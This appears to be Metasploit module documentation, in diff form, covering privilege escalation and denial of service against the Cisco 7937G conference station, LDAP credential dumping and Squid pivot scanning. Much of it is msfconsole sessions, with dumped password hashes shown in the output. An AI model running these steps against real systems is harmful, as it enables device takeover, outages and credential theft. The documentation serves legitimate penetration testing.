i - Display status of the specified process, or all running processes (Process_name (optional))
checkStack - Checks the stack.
reboot - Reboots the phone with an optional parameter.
logl - Set the lowest log level which will be displayed (0-6)
logs - Set the log level output for a given module ([module] [0-6])
logsa - Set the log level output for all modules. ([0-6])
logt - Set the log display type (0-2)
logd - Dump the log, parameter is reverse order or not.
logda - Print all available log modules and their current level.
setRtRender - Set real time rendering parameters for the log.
lfu - Send the logfiles to the provisioning server(no parameters).
del - Delete specified file.
cat - Concatanate specified files.
Commands 21 to 41:
copy - Copy a file, can be stdout.
ls - List the contents of flash.
ll - List the contents of flash.
d - Display memory. <address>,<num words>,<size words>
m - Display memory. <address>,<size words>
ping - Ping a given host (IP or DNS name) [,Data Len in Bytes]
ifShow - Display ethernet interface statistics (no parameters)
showStoredConfig - Display configuration as stored in flash (no parameters)
showRunningConfig - Display the current running configuration (no parameters)
showBackupConfig - Display backup configuration as stored in flash (no parameters)
overrideBackupConfig - Override backup flash config with current config (no parameters)
overrideSecurityBackup - Override backup security sector with current security sector.
resetConfig - Reset the phone to the default settings(setting type [SPIP],[SPIPCS],[SPIPShoreline])
configDhcpSet - Set DHCP parameters in the flash.
(DHCP Enabled[YES|NO], Offer Timeout, DHCP Option, DHCP Option Type,
Using statically configured boot server[YES|NO])
configDnsSet - Set DNS parameters in the flash. (Primary DNS Server, Secondary DNS Server, DNS Domain)
configNetSet - Set network parameters in the flash.
(IP Address, Subnet Mask, Router, VLAN(can be empty))
configProvisioningSet - Set provisioning server parameters in the flash.
(Server Name, Using server type[FTP|TFTP|HTTP|HTTPS|FTPS], User, Password)
configSntpSet - Set SNTP parameters in the flash. (sntpserverName,sntpgmtOffset)
nslookup - Find the IP for a given hostname
dnsCacheAShow - Show DNS Cache for A records.
Commands 41 to 61:
dnsCacheSrvShow - Show DNS Cache for SRV records.
dnsCacheAFlush - Flush DNS A records from cache.
version - Display vxWorks bootline, software versions, and hardware version.
hwBoardSerialSet - Set serial number. !!!!!Should never be used!!!!!.
hwVarSet - Set the contents of a hardware var ([var ID] [new value])
hwVarShow - Display the contents of a hardware var ([var ID])
simulateKeyPress - Send a key Press event to so like it came from hardware.
simulateKeyHold - Send a key Hold event to so like it came from hardware.
simulateKeyRelease - Send a key Release event to so like it came from hardware.
simulateHookUp - Send a hookswitch event to so like it came from hardware.
simulateHookDown - Send a hookswitch event to so like it came from hardware.
ncasMisc - Show misc. non-call information (no parameters)
ncasCb - Show detailed ncas information, related to either call services,
non-call services, or server information (1, 2, or 3)
uptime - Show phone uptime.
appPrt - Show UI's call status.
fntPrt - Show information about fonts available on phone.
memtop - Shows the top poiter to current memory.
removeScheduledLogEntry - debug
addScheduledLogEntry - debug
fatalError - Simulate fatal error for the phone.
Commands 61 to 81:
enableStrTruncLog - Enable logging of string truncation.
disableStrTruncLog - Disable logging of string truncation.
sendFlashBinImage - Upload binary flash image.
setMac - debug, here because PSOS can't set the MAC.
sg - send a bitmap to the boot server
memShow - Display system memory usage
memDebug - Toggle memory manager trace flag
l2Debug - Toggle memory manager trace flag
wsTest - Web Service Test Tool
fxShow - Display file transfer manager status
utilHostByNameShow - Test utilHostByName
utilDnsShow - Show callbacks for dns queries
dnsCacheShow - Show DNSACacheShow
utilEthLinkShow - Show Ethernet link status
ethConfigTest - Set Ethernet Mode (0 to 4)
timeTest - Test time
contrastChg - Change LCD Contrast
setAdminVlan - Set admin vlan id
setL2Auth - Set L2 Auth Enable/Disable
ipAddrChange - Change ip addr configuration
Commands 81 to 101:
tftpChange - Change tftp addr
arpStats - Print ARP statistics
fxPut - Transfer file to remote
crash - Crash the system
ipAddrShow - Show ip addr
rtosSocketShow - Show rtos socket information
sccpShow - Show protocol
regManagerShow - show registration manager state
uiPrintAll - uiPrintAll
uiPrintSoftKeys - uiPrintSoftKeys
getVoiceQuality - displays voice quality control status
uiPrintLocalSoftKeys - uiPrintLocalSoftKeys
uiStartTone - uiStartTone
uiStopTone - uiStopTone
pegPrintAll - pegPrintAll
uiSMPrintAll - uiStateMachinePrintAll
lldpSMPrintAll - lldpStateMachinePrintAll
saveLogLevels - saveLogLevels
localePrintAll - localePrintAll
ceShow - Show Client Engine Status
Commands 101 to 121:
udiShow - Show Unique Device Indentifier
show - Show Unique Device Indentifier
pbnShow - Display app & bootrom headers
upr - Upgrade to a Rockpile Standalone Image
upm - Upgrade to a Rockpile Manf Image
setHw - Sets the Rockpile Hardware Id
getHw - Prints the Rockpile Hardware Id
setUpf - Sets the Upgrade progress flag
rstUpf - Resets the Upgrade progress flag
setMdm - Sets the Manf diag mode flag
rstMdm - Resets the Manf diag mode flag
setDhcp - Sets the Manf diag dhcp flag
rstDhcp - Resets the Manf diag dhcp flag
setOrd - Sets the ORD flag
rstOrd - Resets the ORD flag
fs - Prin the status of rockpile flags
cp - Mfg. test diags
vol - Mfg. test diags
sig - Mfg. test diags
os - Mfg. test diags
Commands 121 to 141:
lcd - Mfg. test diags
sum - Prints checksums of flash images
rd - Mfg. test diags
wr - Mfg. test diags
eth - Start/stop ethernet hardware
fstp - Stop FGPIO interface
hfTxEq - Audio testing for large conf rooms
ctConv - perform ct convergence test.
ctModeEnd - terminate ctMode
ctEnableRx - Enable ctRx 1 on, 0 off
ctEnableTx - Enable ctTx 1 on, 0 off
ctMicTx - Route mic # to Tx
ctEMTx - Route external mic # to Tx
ctSineTx - [chan], [freq], [dBm]: Generate tone to Tx (0 => HD, 1 => HF, default HF, 1KHz, -40dBm)
ctRxSpkr - Send directly to HF speaker
ctSineSpkr - [chan], [freq], [dBm]: Generate tone to Rx (0 => HD, 1 => HF, default HF, 1KHz, -40dBm)
ctNoiseSpkr - [chan], [dBm]: Generate noise to Rx (0 => HD, 1 => HF, default HF, -40dBm)
displayListeningPorts - Display listening port and process info
killListeningProcess - Kill the task associated with the port
$>exit
```
#### Unsuccessful Scenario
```
msf5 > use auxiliary/admin/http/cisco_7937g_ssh_privesc
msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > set user test
user => test
msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > set pass test
pass => test
msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > set rhosts 192.168.110.209
rhosts => 192.168.110.209
msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > run
[*] Running for 192.168.110.209...
[*] 192.168.110.209 - Attempting to set SSH credentials.
[-] 192.168.110.209 - Device doesn't appear to be functioning or web access is not enabled.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
### Cisco 7937G Running Firmware Version SCCP-1-4-5-5
#### Successful Scenario
```
msf5 > use auxiliary/admin/http/cisco_7937g_ssh_privesc
msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > set user test
user => test
msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > set pass test
pass => test
msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > set rhosts 192.168.110.209
rhosts => 192.168.110.209
msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > run
[*] Running for 192.168.110.209...
[*] 192.168.110.209 - Attempting to set SSH credentials.
[*] 192.168.110.209 - SSH attack finished!
[*] 192.168.110.209 - Try to login using the supplied credentials test:test
[*] 192.168.110.209 - You must specify the key exchange when connecting or the device will be DoS'd!
[*] 192.168.110.209 - ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 test@192.168.110.209
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(linux/ssh/cve_2020_16137) > exit
user@ubuntu:~$ ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 test@192.168.110.209
test@192.168.110.209's password:
$>help
Commands 1 to 21:
help - Shows basic help for all commands.
echo - Echoes all arguments (arbitrary parameters, up to 9)
psosMaxShow - Show max number of psos objects created.
psosFailuresShow - Show failures of psos api calls.
clearNetStats - Clear statistics counters in Ethernet Driver.
nicheShow - Show statistics of InterNiche stack.
psosIntStackShow - Show information on interrupt stack.
i - Display status of the specified process, or all running processes (Process_name (optional))
checkStack - Checks the stack.
reboot - Reboots the phone with an optional parameter.
logl - Set the lowest log level which will be displayed (0-6)
logs - Set the log level output for a given module ([module] [0-6])
logsa - Set the log level output for all modules. ([0-6])
logt - Set the log display type (0-2)
logd - Dump the log, parameter is reverse order or not.
logda - Print all available log modules and their current level.
setRtRender - Set real time rendering parameters for the log.
lfu - Send the logfiles to the provisioning server(no parameters).
del - Delete specified file.
cat - Concatanate specified files.
Commands 21 to 41:
copy - Copy a file, can be stdout.
ls - List the contents of flash.
ll - List the contents of flash.
d - Display memory. <address>,<num words>,<size words>
m - Display memory. <address>,<size words>
ping - Ping a given host (IP or DNS name) [,Data Len in Bytes]
ifShow - Display ethernet interface statistics (no parameters)
showStoredConfig - Display configuration as stored in flash (no parameters)
showRunningConfig - Display the current running configuration (no parameters)
showBackupConfig - Display backup configuration as stored in flash (no parameters)
overrideBackupConfig - Override backup flash config with current config (no parameters)
overrideSecurityBackup - Override backup security sector with current security sector.
resetConfig - Reset the phone to the default settings(setting type [SPIP],[SPIPCS],[SPIPShoreline])
configDhcpSet - Set DHCP parameters in the flash.
(DHCP Enabled[YES|NO], Offer Timeout, DHCP Option, DHCP Option Type,
Using statically configured boot server[YES|NO])
configDnsSet - Set DNS parameters in the flash. (Primary DNS Server, Secondary DNS Server, DNS Domain)
configNetSet - Set network parameters in the flash.
(IP Address, Subnet Mask, Router, VLAN(can be empty))
configProvisioningSet - Set provisioning server parameters in the flash.
(Server Name, Using server type[FTP|TFTP|HTTP|HTTPS|FTPS], User, Password)
configSntpSet - Set SNTP parameters in the flash. (sntpserverName,sntpgmtOffset)
nslookup - Find the IP for a given hostname
dnsCacheAShow - Show DNS Cache for A records.
Commands 41 to 61:
dnsCacheSrvShow - Show DNS Cache for SRV records.
dnsCacheAFlush - Flush DNS A records from cache.
version - Display vxWorks bootline, software versions, and hardware version.
hwBoardSerialSet - Set serial number. !!!!!Should never be used!!!!!.
hwVarSet - Set the contents of a hardware var ([var ID] [new value])
hwVarShow - Display the contents of a hardware var ([var ID])
simulateKeyPress - Send a key Press event to so like it came from hardware.
simulateKeyHold - Send a key Hold event to so like it came from hardware.
simulateKeyRelease - Send a key Release event to so like it came from hardware.
simulateHookUp - Send a hookswitch event to so like it came from hardware.
simulateHookDown - Send a hookswitch event to so like it came from hardware.
ncasMisc - Show misc. non-call information (no parameters)
ncasCb - Show detailed ncas information, related to either call services,
non-call services, or server information (1, 2, or 3)
uptime - Show phone uptime.
appPrt - Show UI's call status.
fntPrt - Show information about fonts available on phone.
memtop - Shows the top poiter to current memory.
removeScheduledLogEntry - debug
addScheduledLogEntry - debug
fatalError - Simulate fatal error for the phone.
Commands 61 to 81:
enableStrTruncLog - Enable logging of string truncation.
disableStrTruncLog - Disable logging of string truncation.
sendFlashBinImage - Upload binary flash image.
setMac - debug, here because PSOS can't set the MAC.
sg - send a bitmap to the boot server
memShow - Display system memory usage
memDebug - Toggle memory manager trace flag
l2Debug - Toggle memory manager trace flag
wsTest - Web Service Test Tool
fxShow - Display file transfer manager status
utilHostByNameShow - Test utilHostByName
utilDnsShow - Show callbacks for dns queries
dnsCacheShow - Show DNSACacheShow
utilEthLinkShow - Show Ethernet link status
ethConfigTest - Set Ethernet Mode (0 to 4)
timeTest - Test time
contrastChg - Change LCD Contrast
setAdminVlan - Set admin vlan id
setL2Auth - Set L2 Auth Enable/Disable
ipAddrChange - Change ip addr configuration
Commands 81 to 101:
tftpChange - Change tftp addr
arpStats - Print ARP statistics
fxPut - Transfer file to remote
crash - Crash the system
ipAddrShow - Show ip addr
rtosSocketShow - Show rtos socket information
sccpShow - Show protocol
regManagerShow - show registration manager state
uiPrintAll - uiPrintAll
uiPrintSoftKeys - uiPrintSoftKeys
getVoiceQuality - displays voice quality control status
uiPrintLocalSoftKeys - uiPrintLocalSoftKeys
uiStartTone - uiStartTone
uiStopTone - uiStopTone
pegPrintAll - pegPrintAll
uiSMPrintAll - uiStateMachinePrintAll
lldpSMPrintAll - lldpStateMachinePrintAll
saveLogLevels - saveLogLevels
localePrintAll - localePrintAll
ceShow - Show Client Engine Status
Commands 101 to 121:
udiShow - Show Unique Device Indentifier
show - Show Unique Device Indentifier
pbnShow - Display app & bootrom headers
upr - Upgrade to a Rockpile Standalone Image
upm - Upgrade to a Rockpile Manf Image
setHw - Sets the Rockpile Hardware Id
getHw - Prints the Rockpile Hardware Id
setUpf - Sets the Upgrade progress flag
rstUpf - Resets the Upgrade progress flag
setMdm - Sets the Manf diag mode flag
rstMdm - Resets the Manf diag mode flag
setDhcp - Sets the Manf diag dhcp flag
rstDhcp - Resets the Manf diag dhcp flag
setOrd - Sets the ORD flag
rstOrd - Resets the ORD flag
fs - Prin the status of rockpile flags
cp - Mfg. test diags
vol - Mfg. test diags
sig - Mfg. test diags
os - Mfg. test diags
Commands 121 to 141:
lcd - Mfg. test diags
sum - Prints checksums of flash images
rd - Mfg. test diags
wr - Mfg. test diags
eth - Start/stop ethernet hardware
fstp - Stop FGPIO interface
hfTxEq - Audio testing for large conf rooms
ctConv - perform ct convergence test.
ctModeEnd - terminate ctMode
ctEnableRx - Enable ctRx 1 on, 0 off
ctEnableTx - Enable ctTx 1 on, 0 off
ctMicTx - Route mic # to Tx
ctEMTx - Route external mic # to Tx
ctSineTx - [chan], [freq], [dBm]: Generate tone to Tx (0 => HD, 1 => HF, default HF, 1KHz, -40dBm)
ctRxSpkr - Send directly to HF speaker
ctSineSpkr - [chan], [freq], [dBm]: Generate tone to Rx (0 => HD, 1 => HF, default HF, 1KHz, -40dBm)
ctNoiseSpkr - [chan], [dBm]: Generate noise to Rx (0 => HD, 1 => HF, default HF, -40dBm)
displayListeningPorts - Display listening port and process info
killListeningProcess - Kill the task associated with the port
$>exit
```
#### Unsuccessful Scenario
```
msf5 > use auxiliary/admin/http/cisco_7937g_ssh_privesc
msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > set user test
user => test
msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > set pass test
pass => test
msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > set rhosts 192.168.110.209
rhosts => 192.168.110.209
msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > run
[*] Running for 192.168.110.209...
[*] 192.168.110.209 - Attempting to set SSH credentials.
[-] 192.168.110.209 - Device doesn't appear to be functioning or web access is not enabled.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
@@ -0,0 +1,104 @@
## Vulnerable Application
[Cisco 7937G](https://www.cisco.com/c/en/us/support/collaboration-endpoints/unified-ip-conference-station-7937g/model.html) Conference Station.
This module has been tested successfully against firmware versions SCCP-1-4-5-5 and SCCP-1-4-5-7.
### Description
This module exploits a bug in how the conference station handles incoming SSH
connections that provide an incompatible key exchange. By connecting with an
incompatible key exchange, the device becomes nonresponsive until it is manually power cycled.
## Verification Steps
1. Obtain a Cisco 7937G Conference Station.
2. Enable SSH Access on the device.
3. Start msfconsole
4. Do: `use auxiliary/dos/cisco/cisco_7937G_dos`
5. Do: `set RHOST 192.168.1.10`
6. Do: `run`
7. The conference station should now be nonresponsive until it is power cycled
## Options
No options
## Scenarios
### Cisco 7937G Running Firmware Version SCCP-1-4-5-7
#### Successful Scenario:
```
msf5 > use auxiliary/dos/cisco/cisco_7937G_dos
msf5 auxiliary(dos/cisco/cisco_7937G_dos) > set rhost 192.168.110.209
rhost => 192.168.110.209
msf5 auxiliary(dos/cisco/cisco_7937G_dos) > run
[*] Starting server...
[*] 192.168.110.209 - Connected (version 2.0, client OpenSSH_4.3)
[-] 192.168.110.209 - Exception: Incompatible ssh peer (no acceptable kex algorithm)
[-] 192.168.110.209 - Traceback (most recent call last):
[-] 192.168.110.209 - File "/usr/lib/python3/dist-packages/paramiko/transport.py", line 2083, in run
[-] 192.168.110.209 - self._handler_table[ptype](self, m)
[-] 192.168.110.209 - File "/usr/lib/python3/dist-packages/paramiko/transport.py", line 2198, in _negotiate_keys
[-] 192.168.110.209 - self._parse_kex_init(m)
[-] 192.168.110.209 - File "/usr/lib/python3/dist-packages/paramiko/transport.py", line 2354, in _parse_kex_init
[-] 192.168.110.209 - raise SSHException(
[-] 192.168.110.209 - paramiko.ssh_exception.SSHException: Incompatible ssh peer (no acceptable kex algorithm)
[-] 192.168.110.209 -
[*] 192.168.110.209 - dos non-reset attack completed!
[*] 192.168.110.209 - Errors are intended.
[*] 192.168.110.209 - Device must be power cycled to restore functionality.
[*] Auxiliary module execution completed
```
#### Unsuccessful Scenario:
```
msf5 > use auxiliary/dos/cisco/cisco_7937G_dos
msf5 auxiliary(dos/cisco/cisco_7937G_dos) > set rhost 192.168.110.209
rhost => 192.168.110.209
msf5 auxiliary(dos/cisco/cisco_7937G_dos) > run
[*] Starting server...
[-] 192.168.110.209 - Device doesn't appear to be functioning (already dos'd?) or SSH is not enabled.
[*] Auxiliary module execution completed
```
### Cisco 7937G Running Firmware Version SCCP-1-4-5-5
#### Successful Scenario:
```
msf5 > use auxiliary/dos/cisco/cisco_7937G_dos
msf5 auxiliary(dos/cisco/cisco_7937G_dos) > set rhost 192.168.110.209
rhost => 192.168.110.209
msf5 auxiliary(dos/cisco/cisco_7937G_dos) > run
[*] Starting server...
[*] 192.168.110.209 - Connected (version 2.0, client OpenSSH_4.3)
[-] 192.168.110.209 - Exception: Incompatible ssh peer (no acceptable kex algorithm)
[-] 192.168.110.209 - Traceback (most recent call last):
[-] 192.168.110.209 - File "/usr/lib/python3/dist-packages/paramiko/transport.py", line 2083, in run
[-] 192.168.110.209 - self._handler_table[ptype](self, m)
[-] 192.168.110.209 - File "/usr/lib/python3/dist-packages/paramiko/transport.py", line 2198, in _negotiate_keys
[-] 192.168.110.209 - self._parse_kex_init(m)
[-] 192.168.110.209 - File "/usr/lib/python3/dist-packages/paramiko/transport.py", line 2354, in _parse_kex_init
[-] 192.168.110.209 - raise SSHException(
[-] 192.168.110.209 - paramiko.ssh_exception.SSHException: Incompatible ssh peer (no acceptable kex algorithm)
[-] 192.168.110.209 -
[*] 192.168.110.209 - dos non-reset attack completed!
[*] 192.168.110.209 - Errors are intended.
[*] 192.168.110.209 - Device must be power cycled to restore functionality.
[*] Auxiliary module execution completed
```
#### Unsuccessful Scenario:
```
msf5 > use auxiliary/dos/cisco/cisco_7937G_dos
msf5 auxiliary(dos/cisco/cisco_7937G_dos) > set rhost 192.168.110.209
rhost => 192.168.110.209
msf5 auxiliary(dos/cisco/cisco_7937G_dos) > run
[*] Starting server...
[-] 192.168.110.209 - Device doesn't appear to be functioning (already dos'd?) or SSH is not enabled.
[*] Auxiliary module execution completed
```
@@ -0,0 +1,54 @@
## Vulnerable Application
[Cisco 7937G](https://www.cisco.com/c/en/us/support/collaboration-endpoints/unified-ip-conference-station-7937g/model.html) Conference Station.
This module has been tested successfully against firmware versions SCCP-1-4-5-5 and SCCP-1-4-5-7.
### Description
This module exploits a bug in how the conference station handles executing a ping via its web interface.
By repeatedly executing the ping function without clearing out the resulting output,
a DoS is caused that will reset the device after a few minutes.
## Verification Steps
1. Obtain a Cisco 7937G Conference Station.
2. Enable Web Access on the device (default configuration).
3. Start msfconsole
4. Do: `use auxiliary/dos/cisco/cisco_7937g_dos_reboot`
5. Do: `set rhost 192.168.1.10`
6. Do: `run`
7. The conference station should become nonresponsive and then power cycle itself.
## Options
No options
## Scenarios
### Cisco 7937G Running Firmware Version SCCP-1-4-5-7
```
msf5 > use auxiliary/dos/cisco/cisco_7937g_dos_reboot
msf5 auxiliary(dos/cisco/cisco_7937g_dos_reboot) > set rhost 192.168.110.209
rhost => 192.168.110.209
msf5 auxiliary(dos/cisco/cisco_7937g_dos_reboot) > run
[*] Starting server...
[*] 192.168.110.209 - Sending DoS Packets. Stand by.
[*] 192.168.110.209 - DoS reset attack completed!
[*] Auxiliary module execution completed
```
### Cisco 7937G Running Firmware Version SCCP-1-4-5-5
```
msf5 > use auxiliary/dos/cisco/cisco_7937g_dos_reboot
msf5 auxiliary(dos/cisco/cisco_7937g_dos_reboot) > set rhost 192.168.110.209
rhost => 192.168.110.209
msf5 auxiliary(dos/cisco/cisco_7937g_dos_reboot) > run
[*] Starting server...
[*] 192.168.110.209 - Sending DoS Packets. Stand by.
[*] 192.168.110.209 - DoS reset attack completed!
[*] Auxiliary module execution completed
```
@@ -0,0 +1,199 @@
## Vulnerable Application
### Description
This module uses an LDAP connection to dump data from LDAP server
using an anonymous or authenticated bind.
Searching for specific attributes it collects user credentials.
### Setup
Tested in the wild.
You may eventually setup an intentionally insecure OpenLDAP server in docker.
The below OpenLDAP server does not have any ACL, therefore the hashPassword
attributes are readable by anonymous clients.
```
$ git clone https://github.com/HynekPetrak/bitnami-docker-openldap.git
$ cd bitnami-docker-openldap
$ docker-compose up -d
Creating bitnami-docker-openldap_openldap_1 ... done
msf5 auxiliary(gather/ldap_hashdump) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf5 auxiliary(gather/ldap_hashdump) > set RPORT 1389
RPORT => 1389
msf5 auxiliary(gather/ldap_hashdump) > options
Module options (auxiliary/gather/ldap_hashdump):
Name Current Setting Required Description
---- --------------- -------- -----------
BASE_DN no LDAP base DN if you already have it
BIND_DN no The username to authenticate to LDAP server
BIND_PW no Password for the BIND_DN
PASS_ATTR userPassword yes LDAP attribute, that contains password hashes
RHOSTS 127.0.0.1 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 1389 yes The target port
SSL false no Enable SSL on the LDAP connection
USER_ATTR dn no LDAP attribute, that contains username
Auxiliary action:
Name Description
---- -----------
Dump Dump all LDAP data
msf5 auxiliary(gather/ldap_hashdump) >
msf5 auxiliary(gather/ldap_hashdump) > run
[*] Running module against 127.0.0.1
[*] Discovering base DN automatically
[*] Searching root DSE for base DN
[+] Discovered base DN: dc=example,dc=org
[*] Dumping LDAP data from server at 127.0.0.1:1389
[*] Storing LDAP data in loot
[+] Saved LDAP data to /home/hynek/.msf4/loot/20200801220435_default_127.0.0.1_LDAPInformation_704646.txt
[*] Searching for attribute: userPassword
[*] Taking dn attribute as username
[+] Credentials found: cn=user01,ou=users,dc=example,dc=org:password1
[+] Credentials found: cn=user02,ou=users,dc=example,dc=org:password2
[*] Auxiliary module execution completed
msf5 auxiliary(gather/ldap_hashdump) >
```
## Verification Steps
Follow [Setup](#setup) and [Scenarios](#scenarios).
## Actions
### Dump
Dump all LDAP data from the LDAP server.
## Options
### BASE_DN
If you already have the LDAP base DN, you may set it in this option.
### USER_ATTR
LDAP attribute to take the user name from. Defaults to DN, however you may
wish to change it UID, name or similar.
### PASS_ATTR
LDAP attribute to take the password hash from. Defaults to userPassword,
some LDAP server may use different attribute, e.g. unixUserPassword,
sambantpassword, sambalmpassword.
## Scenarios
### Avaya Communication Manager via anonymous bind
```
msf5 > use auxiliary/gather/ldap_hashdump
msf5 auxiliary(gather/ldap_hashdump) > options
Module options (auxiliary/gather/ldap_hashdump):
Name Current Setting Required Description
---- --------------- -------- -----------
BASE_DN no LDAP base DN if you already have it
PASS_ATTR userPassword yes LDAP attribute, that contains password hashes
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 389 yes The target port
SSL false no Enable SSL on the LDAP connection
USER_ATTR dn no LDAP attribute, that contains username
Auxiliary action:
Name Description
---- -----------
Dump Dump all LDAP data
msf5 auxiliary(gather/ldap_hashdump) > set RHOSTS [redacted_ip_address]
RHOSTS => [redacted_ip_address]
msf5 auxiliary(gather/ldap_hashdump) > run
[*] Running module against [redacted_ip_address]
[*] Discovering base DN automatically
[*] Searching root DSE for base DN
[+] Discovered base DN: dc=vsp
[*] Dumping LDAP data from server at [redacted_ip_address]:389
[*] Storing LDAP data in loot
[+] Saved LDAP data to /home/hynek/.msf4/loot/20200726121633_default_[redacted_ip_address]_LDAPInformation_716210.txt
[*] Searching for attribute: userPassword
[*] Taking dn attribute as username
[+] Credentials found: uid=cust,ou=People,dc=vsp:{SSHA}AZKja92fbuuB9SpRlHqaoXxbTc43Mzc2MDM1Ng==
[+] Credentials found: uid=admin,ou=People,dc=vsp:{SSHA}AZKja92fbuuB9SpRlHqaoXxbTc43Mzc2MDM1Ng==
[*] Auxiliary module execution completed
msf5 auxiliary(gather/ldap_hashdump) > set USER_ATTR uid
USER_ATTR => uid
msf5 auxiliary(gather/ldap_hashdump) > run
[*] Running module against [redacted_ip_address]
[*] Discovering base DN automatically
[*] Searching root DSE for base DN
[+] Discovered base DN: dc=vsp
[*] Dumping LDAP data from server at [redacted_ip_address]:389
[*] Storing LDAP data in loot
[+] Saved LDAP data to /home/hynek/.msf4/loot/20200726121718_default_[redacted_ip_address]_LDAPInformation_712562.txt
[*] Searching for attribute: userPassword
[*] Taking uid attribute as username
[+] Credentials found: cust:{SSHA}AZKja92fbuuB9SpRlHqaoXxbTc43Mzc2MDM1Ng==
[+] Credentials found: admin:{SSHA}AZKja92fbuuB9SpRlHqaoXxbTc43Mzc2MDM1Ng==
[*] Auxiliary module execution completed
msf5 auxiliary(gather/ldap_hashdump) >
```
### NASDeluxe - NAS with Samba LM/NTLM hashes
```
msf5 auxiliary(gather/ldap_hashdump) > set USER_ATTR uid
USER_ATTR => uid
msf5 auxiliary(gather/ldap_hashdump) > set PASS_ATTR sambantpassword
PASS_ATTR => sambantpassword
msf5 auxiliary(gather/ldap_hashdump) > set RHOSTS [redacted_ip_address]
RHOSTS => [redacted_ip_address]
msf5 auxiliary(gather/ldap_hashdump) > run
[*] Running module against [redacted_ip_address]
[*] Discovering base DN automatically
[*] Searching root DSE for base DN
[+] Discovered base DN: dc=server,dc=nas
[*] Dumping LDAP data from server at [redacted_ip_address]:389
[*] Storing LDAP data in loot
[+] Saved LDAP data to /home/hynek/.msf4/loot/20200726201006_default_[redacted_ip_address]_LDAPInformation_026574.txt
[*] Searching for attribute: sambantpassword
[*] Taking uid attribute as username
[+] Credentials found: admin:209C6174DA490CAEB422F3FA5A7AE634
[+] Credentials found: joe:58E8C758A4E67F34EF9C40944EB5535B
[*] Auxiliary module execution completed
msf5 auxiliary(gather/ldap_hashdump) > run
[*] Running module against [redacted_ip_address]
[*] Discovering base DN automatically
[*] Searching root DSE for base DN
[+] Discovered base DN: dc=server,dc=nas
[*] Dumping LDAP data from server at [redacted_ip_address]:389
[*] Storing LDAP data in loot
[+] Saved LDAP data to /home/hynek/.msf4/loot/20200726201731_default_[redacted_ip_address]_LDAPInformation_427417.txt
[*] Searching for attribute: sambalmpassword
[*] Taking uid attribute as username
[+] Credentials found: admin:F0D412BD764FFE81AAD3B435B51404EE
[+] Credentials found: joe:3417BE166A79DDE2AAD3B435B51404EE
[*] Auxiliary module execution completed
```
@@ -0,0 +1,283 @@
## Description
A exposed Squid proxy will usually allow an attacker to make requests on their behalf. If misconfigured, this may give the attacker information about devices that they cannot normally reach. For example, an attacker may be able to make requests for internal IP addresses against an open Squid proxy exposed to the Internet, therefore performing a port scan against the internal network.
The `auxiliary/scanner/http/open_proxy` module can be used to test for open proxies, though a Squid proxy does not have to be on the open Internet in order to allow for pivoting (e.g. an Intranet Squid proxy which allows the attack to pivot to another part of the internal network).
This module will not be able to scan network ranges or ports denied by Squid ACLs. Fortunately it is possible to detect whether a host was up and the port was closed, or if the request was blocked by an ACL, based on the response Squid gives. This feedback is provided to the user in meterpreter `VERBOSE` output, otherwise only open and permitted ports are printed.
### Vulnerable Application Setup
The [official Squid configuration documentation](https://wiki.squid-cache.org/SquidFaq/ConfiguringSquid) covers the significant flexibility of the Squid proxy. For this module, the most relevant core Squid configuration lines usually looks like this (default for version 3.5):
```
http_port 3128
acl localnet src 10.0.0.0/8 # RFC1918 possible internal network
acl localnet src 172.16.0.0/12 # RFC1918 possible internal network
acl localnet src 192.168.0.0/16 # RFC1918 possible internal network
acl localnet src fc00::/7 # RFC 4193 local private network range
acl localnet src fe80::/10 # RFC 4291 link-local (directly plugged) machines
acl SSL_ports port 443
acl Safe_ports port 80 # http
acl Safe_ports port 21 # ftp
acl Safe_ports port 443 # https
acl Safe_ports port 70 # gopher
acl Safe_ports port 210 # wais
acl Safe_ports port 280 # http-mgmt
acl Safe_ports port 488 # gss-http
acl Safe_ports port 591 # filemaker
acl Safe_ports port 777 # multiling http
acl Safe_ports port 1025-65535 # unregistered ports
acl CONNECT method CONNECT
http_access deny !Safe_ports
http_access deny CONNECT !SSL_ports
http_access allow localhost manager
http_access deny manager
#
# INSERT YOUR OWN RULE(S) HERE TO ALLOW ACCESS FROM YOUR CLIENTS
#
http_access allow localnet
http_access allow localhost
http_access deny all
```
In short, this opens port 3128 for proxying from `localhost` or a `localnet` ranges to any port in `Safe_ports`, and allows SSL CONNECT requests to be made to `SSL_ports` (just 443 in this example).
The references to "manager" are referring to a component of Squid which provides management controls and reports displaying statistics about the squid process as it runs, and can show useful information like file descriptors or internal hostnames and IP addresses if the ACL permits access. [See the official docs](https://wiki.squid-cache.org/Features/CacheManager) for more information on the Cache Manager.
As such, you should be able to install Squid with default configuration, and reach through it from an internal network source range to anythin the Squid proxy has a route to. If you wish to test against other ports or network ranges, modify the configuration to suit prior to testing.
## Verification Steps
To test this module, you can try the following:
1. Install Squid
1. Start the Squid service
1. Start msfconsole
1. Do: `use auxiliary/scanner/http/squid_pivot_scanning`
1. Set the `RHOSTS` and `RPORT` to be that of Squid's host address and port:
1. `set RHOSTS squid.internal`
1. `set RPORT 3128`
1. Set the `RANGE` parameter to be the destination host addresses you wish to port scan.
1. `set RANGE 192.168.0.1-192.168.0.2`
1. (Optional) Set the specific `PORTS` parameter to any ports you wish to port scan on the hosts in `RANGE`.
1. `set PORTS 21-23,80,443`
1. Do: `run`
